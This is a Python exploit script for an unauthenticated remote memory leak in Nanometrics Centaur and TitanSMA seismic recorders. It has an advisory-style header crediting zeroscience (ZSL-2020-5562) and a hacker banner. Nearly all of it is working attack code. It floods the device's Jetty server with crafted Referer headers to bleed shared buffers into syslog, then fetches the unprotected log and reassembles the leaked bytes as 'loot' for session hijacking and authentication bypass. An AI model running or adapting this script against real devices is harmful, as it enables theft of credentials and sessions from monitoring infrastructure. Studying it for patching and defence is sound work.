#!/usr/bin/env python3 # # Nanometrics Centaur / TitanSMA Unauthenticated Remote Memory Leak Exploit # # # Vendor: Nanometrics Inc. # Product page: https://www.nanometrics.ca/products/accelerometers/titan-sma # Product page: https://www.nanometrics.ca/products/digitizers/centaur-digital-recorder # # Affected versions: # Centaur <= 4.3.23 # TitanSMA <= 4.2.20 # # Summary: # The Centaur Digital Recorder is a portable geophysical sensing acquisition system that consists # of a high-resolution 24-bit ADC, a precision GNSS-based clock, and removable storage capabilities. # Its ease of use simplifies high performance geophysical sensing deplayments in both remote and # networked environments. Optimized for seismicity monitoring, the Centaur is also well-suited for # infrasound and similar geophysical sensor recording applications requiring sample rates up to # 5000 sps. # # Summary: # The TitanSMA is a strong motion accelerograph designed for high precision observational and # structural engineering applications, where scientists and engineers require exceptional dynamic # range over a wide frequency band. # # Description: # An information disclosure vulnerability exists when Centaur and TitanSMA fail to properly protect # critical system logs such as 'syslog'. Additionally, the implemented Jetty version (9.4.z-SNAPSHOT) # suffers from a memory leak of shared buffers that was (supposedly) patched in Jetty version 9.2.9.v20150224. # As seen in the aforementioned products, the 'patched' version is still vulnerable to the buffer leakage. # Chaining these vulnerabilities allows an unauthenticated adversary to remotely send malicious HTTP # packets, and cause the shared buffer to 'bleed' contents of shared memory and store these in system # logs. Accessing these unprotected logfiles reveal parts of the leaked buffer (up to 17 bytes per sent # packet) which can be combined to leak sensitive data which can be used to perform session hijacking # and authentication bypass scenarios. # # Tested on: # Jetty 9.4.z-SNAPSHOT # # Vulnerability discovered by: # byteGoblin @ zeroscience.mk # # # Advisory ID: ZSL-2020-5562 # Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5562.php # # Related CVE: CVE-2015-2080 # Related CWE: CWE-532, CWE-538 # # 10.02.2020 # import requests import re import sys class Goblin: def __init__(self): self.host = None self.page = "/zsl" self.syslog = "/logs/syslog" self.buffer_pad = "A" * 70 self.buffer = None self.payload = "\xFF" self.payloads_to_send = 70 # 70 seems to be a good number before we get weird results self.body = {} self.headers = None self.syslog_data = {} self.last_line = None self.before_last_line = True def banner(self): goblin = """ NN NkllON 0;;::k000XN KxllokN 0;,:,;;;;:ldK Kdccc::oK Nx,';codddl:::dkdc:c:;lON klc:clloooooooc,.':lc;'lX x;:ooololccllc:,:ll:,:xX Kd:cllc'..';:ccclc,.x _ . ___ _ . NOoc::c:,'';:ccllc::''k \ ___ , . _/_ ___ .' \ __. \ ___ | ` , __ Nklc:clccc;.;odoollc:',xN |/ \ | ` | .' ` | .' \ |/ \ | | |' `. 0l:lollc:;:,.,ccllcc:;..cOKKX | ` | | | |----' | _ | | | ` | | | | 0c;lolc;'...',;;:::::;..:cc:,cK `___,' `---|. \__/ `.___, `.___| `._.' `___,' /\__ / / | Nc'clc;..,,,:::c:;;;,'..:oddoc;c0 \___/ Nl';;,:,.;:,;:;;;,'.....cccc:;..x InTrOdUcEs: //Nano-Bleed// XxclkXk;'::,,,''';:::;'''...'',:o0 Kl,''',:cccccc:;..';;;:cc;;dX Discovered / Created by: byteGoblin O,.,;;,;:::::;;,,;::,.';:c';K contact: bytegoblin zeroscience.mk Kdcccccdl'';;..'::;;,,,;:::;,'..;:.;K d;,;;'...',,,:,..,;,',,;;,,,'.cd,':.;K Vendor: Nanometrics Inc. - nanometrics.ca Oddl',,'',:cxX0:....'',,''..;dKKl,;,,xN Product: Centaur, TitanSMA d...'ckN Xkl:,',:clll:,..,cxd;,::,,xN Affected versions: <= 4.3.23, <= 4.3.20 0:',';k Xx:,''..,cccc::c:'.';:;..,;,lK 0:'clc':o;',;,,.';loddolc;'.,cc'.;olkN CVE: N/A 0:'cdxdc,..';..,lOo,:clc:'.,:ccc;.oN Advisory: ZSL-2020-5562 / zeroscience.mk/en/vulnerabilities/ZSL-2020-5562.php :,;okxdc,..,,..lK Xkol;:x0kl;;::;':0 x:,:odo:,'.',,.'xN 0lk Nk;';:;.cN Description: Unauthenticated Remote Memory Leak in Nanometrics Centaur product Xx:,'':xk:..,''lK Y k;';;';xX XOkkko'.....'O d.';;,,:xN 0dooooooxX x'.'''',oK _.o-'( Shout-out to the bois: LiquidWorm, 0nyxd, MemeQueen, Vaakos, Haunt3r )'-o._ XOkkkkkON """ print(goblin) def generate_payload(self, amount_of_bytes): self.payload += "\x00" * amount_of_bytes self.headers = {"Cookie": self.buffer_pad, "Referer": self.payload} def read_syslog(self, initial=False): # Read syslog remotely and filter out 'HeapByteBuffer' messages. # 'initial' is used to make a 'snapshot' of the state before we send payloads... # That way we can filter on what we've just sent. print("[!] - Grabbing syslog from: {}{}".format(self.host, self.syslog)) buffer = "" r = requests.get(self.host + self.syslog) if r.status_code == 200: print("[!] - We got syslog, it is: {} bytes".format(len(r.content))) split = r.text.split("\n") for line in split: if "HeapByteBuffer" in line: if initial: self.last_line = line else: if line == self.last_line: self.before_last_line = False if not self.before_last_line: buffer_addr = re.search("\@\w+", line).group(0).strip("@") try: leak = re.search(">>>.+(?=\.\.\.)", line).group(0).strip(">>>") buffer += leak except Exception as e: print(e) if initial: return self.last_line self.buffer = buffer else: # we can't access syslog? print("[!!!] - Yoooo... we can't access syslog? Make sure you can access it, dawg...") print("[!!!] - The status code we got was: {}".format(r.status_code)) exit(-1) def show_output(self): # we need to translate '\r\n' into actual newlines if self.buffer is not None and self.buffer is not "": self.buffer = self.buffer.replace("\\n", "\n") self.buffer = self.buffer.replace("\\r", "\r") self.buffer = self.buffer.replace("%2f", "/") print("[*] BUFFER LENGTH: {}".format(len(self.buffer))) print("=" * 50) print("[*] THIS IS THE LOOT") print("=" * 50) for num, x in enumerate(self.buffer.split("\n")): print("{}.\t| \t{}".format(num, x)) def send_payload(self, amount): print("[!] - Sending payloads to target: {}{}".format(self.host, self.page)) if amount > self.payloads_to_send or amount < 0: amount = self.payloads_to_send for num, x in enumerate(range(0, amount)): if num % 10 == 0: print("[!] - [{}/{}] payloads sent...".format(num, amount)) try: self.generate_payload(17) r = requests.post(self.host + self.page, data=self.body, headers=self.headers) except Exception as e: print(e) print("[!] - [{}/{}] payloads sent...".format(amount, amount)) def parse_sys_args(self): if len(sys.argv) >= 2: self.host = sys.argv[1] if not "http" in self.host: self.host = "http://{}".format(self.host) if len(sys.argv) == 3: # amount of packets to send self.payloads_to_send = sys.argv[2] else: self.print_help() def print_help(self): print("Usage: {} [amount of payloads to send]".format(sys.argv[0])) print("Example: centaur3.py 123.456.789.0:8080 200") print("\tThis will send 200 payloads to the aforementioned host") print("\tThe [port] and [amount of payloads] are optional") exit(-1) def main(self): self.parse_sys_args() self.banner() ll = self.read_syslog(initial=True) self.send_payload(70) self.read_syslog() self.show_output() if __name__ == '__main__': Goblin().main()